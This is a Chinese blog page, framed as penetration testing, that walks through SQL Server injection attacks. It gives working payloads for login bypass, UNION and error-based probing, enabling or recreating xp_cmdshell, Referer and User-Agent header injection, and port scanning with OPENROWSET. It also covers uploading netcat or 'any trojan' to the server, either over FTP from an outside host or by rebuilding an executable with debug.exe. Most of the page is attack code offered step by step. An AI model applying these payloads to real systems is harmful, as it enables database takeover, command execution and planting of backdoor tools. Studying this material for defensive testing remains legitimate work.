当前位置: 首页 > news >正文

安全测试之五:SQL Server注入漏洞几个实例

示例 1:在 GET 请求中测试 SQL 注入

最简单且有时最有效的情况是针对登录页面进行测试。当登录页面请求用户输入用户名和密码时,攻击者可以尝试输入以下字符串 “' or '1'='1”(不包含双引号):

https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1

如果应用程序正在使用动态 SQL 查询,并且该字符串将附加到用户凭证验证查询中,那么攻击者可能会成功登录应用程序。

示例 2:在 Get 请求中进行 SQL 注入以了解列数

为了了解目标表中存在多少列,攻击者可以构造如下请求:

https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--

示例 3:POST 请求中的 SQL 注入

在 POST 请求中进行 SQL 注入时,攻击者可以修改请求的内容。例如,注入的 HTTP POST 内容如下:

email=%27&whichSubmit=submit&submit.x=0&submit.y=0

一个完整的 POST 示例(https://vulnerable.web.app/forgotpass.asp):

POST /forgotpass.asp HTTP/1.1

Host: vulnerable.web.app

[...]

Referer: http://vulnerable.web.app/forgotpass.asp

Content-Type: application/x-www-form-urlencoded

Content-Length: 50

email=%27&whichSubmit=submit&submit.x=0&submit.y=0

当在电子邮件字段中输入(单引号)字符时,可能会获得如下错误消息:

Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string '' '.

/forgotpass.asp, line 15

这些错误消息可以帮助攻击者分析应用程序的 SQL 查询构建方式。

示例 4:另一个(非常有效的)GET 示

攻击者可以通过 GET 请求获取应用程序的源代码,构造如下请求:

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--

该请求会将登录页面的源代码复制到一个可访问的文件中。

示例 5:自定义 xp_cmdshell

所有描述 SQL Server 安全最佳实践的书籍和论文都建议在 SQL Server 2000 中禁用 xp_cmdshell(在 SQL Server 2005 中默认禁用)。然而,如果攻击者具有 sysadmin 权限(可以通过本地权限提升或暴力破解 sysadmin 密码获得),通常可以绕过此限制。

  • 在 SQL Server 2000 上
  • 如果 xp_cmdshell 已禁用,攻击者可以简单地注入以下代码:

sp_addextendedproc 'xp_cmdshell','xp_log70.dll'

  • 如果上述代码不起作用,意味着相关文件已被移动或删除。在这种情况下,攻击者需要注入以下代码:

CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) ASDECLARE @result int, @OLEResult int, @RunResult intDECLARE @ShellID intEXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUTIF @OLEResult <> 0 SELECT @result = @OLEResultIF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @WaitIF @OLEResult <> 0 SELECT @result = @OLEResultIF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)EXECUTE @OLEResult = sp_OADestroy @ShellIDreturn @result

这段代码由 Antonin Foller 撰写,它创建了一种新的使用方式,并且不会被默认禁用。在使用它之前,攻击者需要删除之前创建的(即使它不起作用),否则两个声明将冲突。

  • 在 SQL Server 2005 上
    xp_cmdshell 可以通过注入以下代码来启用:

master..sp_configure 'show advanced options',1reconfigure

master..sp_configure 'xp_cmdshell',1reconfigure

示例 6:利用 Referer /User - Agent 进行 SQL 注入

攻击者可以通过修改 HTTP 请求的 Referer 头部或 User - Agent 头部来执行任意 SQL 代码。

  • Referer 头部注入
    将 Referer 头部设置为:

Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--

这样就允许执行任意 SQL 代码。

  • User - Agent 头部注入
    将 User - Agent 头部设置为以下内容同样会允许执行任意 SQL 代码:

User - Agent: user_agent', 'some_ip'); [SQL CODE]--

示例 7:SQL Server 作为端口扫描器

在 SQL Server 中,OpenRowset 命令是一个非常有用的工具,渗透测试人员可以使用它在目标网络中扫描其他机器的端口。注入以下查询:

select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--

此查询将尝试连接到地址 x.y.w.z 的指定端口 p。如果端口关闭,将返回以下消息:

SQL Server does not exist or access denied

如果端口打开,则将返回以下错误之一:

General network error. Check your network documentation

OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error

当然,错误消息并不总是可用。如果是这种情况,攻击者可以使用响应时间来判断端口状态:使用封闭的端口,会发生超时(此示例中的 5 秒),而开放端口将立即返回结果。需要注意的是,SQL Server 2000 中默认情况下启用了 OpenRowset,但在 SQL Server 2005 中被禁用。

示例 8:可执行文件的上传

一旦攻击者可以使用 xp_cmdshell(无论是原生的还是自己修改过的),就可以轻松地将可执行文件上传到目标数据库服务器上。一个常见的选择是上传 netcat.exe,但任何木马都可以。

  • 使用 FTP 上传:
    如果允许目标启动 FTP 连接到渗透测试人员的计算机,攻击者只需要注入以下查询:

exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--

此时将上传 nc.exe 并可以使用。

  • 绕过防火墙上传
        如果防火墙不允许使用 FTP,攻击者可以利用默认安装在所有 Windows 机器上的 Windows 调试器 debug.exe。Debug.exe 是可编写脚本的,并且能够通过执行适当的脚本文件来创建可执行文件。攻击者需要做的是将可执行文件转换为调试脚本(这是一个 100% 的 ASCII 文件),逐行上传它,最后调用 debug.exe。有几个工具可以创建这种调试文件(例如:Ollie Whitehouse 的 makescr.exe 和 toolcrypt.org 的 dbgtool.exe)。因此,攻击者可以用以下内容进行注入的查询:

exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--....exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--exec master..xp_cmdshell 'debug.exe < debugscript.txt';--

在这时,攻击者的可执行文件就可以在目标计算机上使用了。

相关文章:

安全测试之五:SQL Server注入漏洞几个实例

示例 1&#xff1a;在 GET 请求中测试 SQL 注入 最简单且有时最有效的情况是针对登录页面进行测试。当登录页面请求用户输入用户名和密码时&#xff0c;攻击者可以尝试输入以下字符串 “ or 11”&#xff08;不包含双引号&#xff09;&#xff1a; https://vulnerable.web.ap…...

如何在Github上面上传本地文件夹

前言 直接在GitHub网址上面上传文件夹是不行的&#xff0c;需要一层一层创建然后上传&#xff0c;而且文件的大小也有限制&#xff0c;使用Git进行上传更加方便和实用 1.下载和安装Git Git - Downloads 傻瓜式安装即可 2.获取密钥对 打开自己的Github&#xff0c;创建SSH密钥&…...

多Agent协作智能系统

多Agent协作智能系统商业计划书 ——基于文心大模型的虚拟世界协作解决方案 第一章 执行摘要 1.1 项目背景 技术驱动:文心大模型4.0工具版的推出标志着AI从“问答”向“行动”的跨越,多Agent协作成为复杂任务自动化的核心范式。市场需求:据Global Market Insights报告,20…...

第J1周:ResNet50算法(Tensorflow版)

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 目标 具体实现 &#xff08;一&#xff09;环境 语言环境&#xff1a;Python 3.10 编 译 器: PyCharm 框 架: TensorFlow &#xff08;二&#xff09;具体…...

炸裂函数explode

在 Apache Hive 中&#xff0c;"炸裂函数"通常指的是将复杂数据类型&#xff08;如数组或映射&#xff09;拆分成多行的函数。Hive 提供了几个内置函数来实现这种操作&#xff0c;其中最常用的是 explode 函数。 1. explode 函数 explode 函数用于将数组或映射类型…...

计算机视觉(opencv-python)之图像预处理基本操作(待补充)

图像预处理是计算机视觉任务中的关键步骤&#xff0c;它通过对原始图像进行处理&#xff0c;以提高后续图像分析、特征提取和识别的准确性。 示例图片 目录 常见图像处理方法 灰度化处理 法一 法二 说明 切片截取部分图像数据 cv2.cvtColor() 颜色空间转换 cv2.split(…...

数据结构秘籍(四) 堆 (详细包含用途、分类、存储、操作等)

1 引言 什么是堆&#xff1f; 堆是一种满足以下条件的树&#xff1a;&#xff08;树这一篇可以参考我的文章数据结构秘籍&#xff08;三&#xff09;树 &#xff08;含二叉树的分类、存储和定义&#xff09;-CSDN博客&#xff09; 堆中的每一个结点值都大于等于&#xff08…...

前端正则表达式完全指南:从入门到实战

文章目录 第一章&#xff1a;正则表达式基础概念1.1 什么是正则表达式1.2 正则表达式工作原理1.3 基础示例演示 第二章&#xff1a;正则表达式核心语法2.1 元字符大全表2.2 量词系统详解2.3 字符集合与排除 第三章&#xff1a;前端常用正则模式3.1 表单验证类3.1.1 邮箱验证3.1…...

【SRC实战】小游戏漏洞强制挑战

小游戏业务分析: 1、挑战成功加分&#xff0c;失败减分&#xff0c;存在段位机制&#xff0c;段位影响榜单排名 2、随机推荐挑战对象&#xff0c;随着等级升高不再推荐低等级玩家 3、玩家等级需要培养&#xff0c;培养需要道具&#xff0c;道具需要看广告/完成任务/付费 4、…...

细说 Java 集合之 Map

前言&#xff1a;本文基于JDK8 一、HashMap 1.1、hash方法 hash方法是map中的基石&#xff0c;后续很多操作都依赖hash方法&#xff1b; 下面是 jdk 7 中 hash方法&#xff0c;注意hashSeed 这个扰动因子&#xff0c;该值随机&#xff0c;所以同一个 key 每次调用hash方法后…...

【vue-echarts】——05.柱状图

文章目录 一、柱状图基本设置1.实现代码2.结果展示二、柱状图效果实现11.代码实现2.结果展示三、柱状图效果实现21.代码实现2.结果展示一、柱状图基本设置 柱状图:一种图表类型,因为构成是由一根一根类似柱子的数据条组合而成的坐标平面,所以命名为柱状 图。主要是用来反应对…...

【C】链式二叉树算法题1 -- 单值二叉树

leetcode链接https://leetcode.cn/problems/univalued-binary-tree/description/ 1 题目描述 如果二叉树每个节点都具有相同的值&#xff0c;那么该二叉树就是单值二叉树。只有给定的树是单值二叉树时&#xff0c;才返回 true&#xff1b;否则返回 false。 示例 1&#xff1…...

C++11——智能指针和function库

目录 一、智能指针 1. std::unique_ptr&#xff08;独占所有权指针&#xff09; 2. std::shared_ptr&#xff08;共享所有权指针&#xff09; 3. std::weak_ptr&#xff08;弱引用指针&#xff09; 关键区别总结 最佳实践 基本用法 可封装的对象类型 核心特性 示例代码…...

[操作系统] 文件的软链接和硬链接

文章目录 引言硬链接&#xff08;Hard Link&#xff09;什么是硬链接&#xff1f;硬链接的特性硬链接的用途 软链接&#xff08;Symbolic Link&#xff09;什么是软链接&#xff1f;软链接的特性软链接的用途 软硬链接对比文件的时间戳实际应用示例使用硬链接节省备份空间用软链…...

RabbitMQ面试题及原理

RabbitMQ使用场景&#xff1a; 异步发送&#xff08;验证码、短信、邮件…&#xff09;MYSQL和Redis, ES之间的数据同步分布式事务削峰填谷 1. 消息可靠性&#xff08;不丢失&#xff09; 消息丢失场景&#xff1a; RabbitMQ-如何保证消息不丟失&#xff1f; 开启生产者确…...

SpringBoot中Get请求和POST请求接收参数详解

1、Get请求 1.1 方法形参接收参数 这种方式一般适用参数比较少的情况&#xff0c;并且前后端参数名称必须保持一致 RestController RequestMapping(“/user”) Slf4j public class DemoController { GetMapping("/query") public void getStudent(String name,Strin…...

分布式日志和责任链路

目录 日志问题 责任链问题 分布式日志 GrayLog简介 部署安装 收集日志 配置Inputs 集成微服务 日志回收策略 搜索语法 搜索语法 自定义展示字段 日志统计仪表盘 创建仪表盘 链路追踪 APM 什么是APM 原理 技术选型 Skywalking简介 部署安装 微服务探针 整合…...

h5 IOS端渐变的兼容问题 渐变实现弧形效果

IOS端使用渐变的时候有兼容问题 以下是问题效果&#xff0c;图中黑色部分期望的效果应该是白色的。但是ios端是下面的样子…… 安卓pc 支持&#xff1a; background-image: radial-gradient(circle 40rpx at 100% 0, #f3630c 40rpx, rgb(255, 255, 255) 50%);安卓pc ios支持…...

哈希算法--猜数字游戏

1.题目要求 输入两个位数相同的数&#xff0c;判断对应位置的数字是否相等&#xff0c;返回两个数。第一个数是数字和位置完全猜对的数字个数&#xff0c;第二个数是数字大小猜对但位置不对的数字个数 2.逐步编程 2.1 定义函数 def g(secret,guess):sec_dic{}gue_dic{}# 定义…...

idea生成自定义Maven原型(archetype)项目工程模板

一、什么是Maven原型&#xff08;Maven archetype&#xff09; 引自官网的介绍如下&#xff1a; Maven原型插件官网地址 这里采用DeepSeek助手翻译如下&#xff1a; Maven 原型 什么是原型&#xff1f; 简而言之&#xff0c;原型是一个 Maven 项目模板工具包。原型被定义为一…...

C++中string流知识详解和示例

一、概览与类体系 C 提供三种基于内存字符串的流&#xff0c;定义在 <sstream> 中&#xff1a; std::istringstream&#xff1a;输入流&#xff0c;从已有字符串中读取并解析。std::ostringstream&#xff1a;输出流&#xff0c;向内部缓冲区写入内容&#xff0c;最终取…...

CMake 从 GitHub 下载第三方库并使用

有时我们希望直接使用 GitHub 上的开源库,而不想手动下载、编译和安装。 可以利用 CMake 提供的 FetchContent 模块来实现自动下载、构建和链接第三方库。 FetchContent 命令官方文档✅ 示例代码 我们将以 fmt 这个流行的格式化库为例,演示如何: 使用 FetchContent 从 GitH…...

3-11单元格区域边界定位(End属性)学习笔记

返回一个Range 对象&#xff0c;只读。该对象代表包含源区域的区域上端下端左端右端的最后一个单元格。等同于按键 End 向上键(End(xlUp))、End向下键(End(xlDown))、End向左键(End(xlToLeft)End向右键(End(xlToRight)) 注意&#xff1a;它移动的位置必须是相连的有内容的单元格…...

【无标题】路径问题的革命性重构:基于二维拓扑收缩色动力学模型的零点隧穿理论

路径问题的革命性重构&#xff1a;基于二维拓扑收缩色动力学模型的零点隧穿理论 一、传统路径模型的根本缺陷 在经典正方形路径问题中&#xff08;图1&#xff09;&#xff1a; mermaid graph LR A((A)) --- B((B)) B --- C((C)) C --- D((D)) D --- A A -.- C[无直接路径] B -…...

【JavaSE】多线程基础学习笔记

多线程基础 -线程相关概念 程序&#xff08;Program&#xff09; 是为完成特定任务、用某种语言编写的一组指令的集合简单的说:就是我们写的代码 进程 进程是指运行中的程序&#xff0c;比如我们使用QQ&#xff0c;就启动了一个进程&#xff0c;操作系统就会为该进程分配内存…...

CSS | transition 和 transform的用处和区别

省流总结&#xff1a; transform用于变换/变形&#xff0c;transition是动画控制器 transform 用来对元素进行变形&#xff0c;常见的操作如下&#xff0c;它是立即生效的样式变形属性。 旋转 rotate(角度deg)、平移 translateX(像素px)、缩放 scale(倍数)、倾斜 skewX(角度…...

毫米波雷达基础理论(3D+4D)

3D、4D毫米波雷达基础知识及厂商选型 PreView : https://mp.weixin.qq.com/s/bQkju4r6med7I3TBGJI_bQ 1. FMCW毫米波雷达基础知识 主要参考博文&#xff1a; 一文入门汽车毫米波雷达基本原理 &#xff1a;https://mp.weixin.qq.com/s/_EN7A5lKcz2Eh8dLnjE19w 毫米波雷达基础…...

网页端 js 读取发票里的二维码信息(图片和PDF格式)

起因 为了实现在报销流程中&#xff0c;发票不能重用的限制&#xff0c;发票上传后&#xff0c;希望能读出发票号&#xff0c;并记录发票号已用&#xff0c;下次不再可用于报销。 基于上面的需求&#xff0c;研究了OCR 的方式和读PDF的方式&#xff0c;实际是可行的&#xff…...

Redis上篇--知识点总结

Redis上篇–解析 本文大部分知识整理自网上&#xff0c;在正文结束后都会附上参考地址。如果想要深入或者详细学习可以通过文末链接跳转学习。 1. 基本介绍 Redis 是一个开源的、高性能的 内存键值数据库&#xff0c;Redis 的键值对中的 key 就是字符串对象&#xff0c;而 val…...

[特殊字符] Spring Boot底层原理深度解析与高级面试题精析

一、Spring Boot底层原理详解 Spring Boot的核心设计哲学是约定优于配置和自动装配&#xff0c;通过简化传统Spring应用的初始化和配置流程&#xff0c;显著提升开发效率。其底层原理可拆解为以下核心机制&#xff1a; 自动装配&#xff08;Auto-Configuration&#xff09; 核…...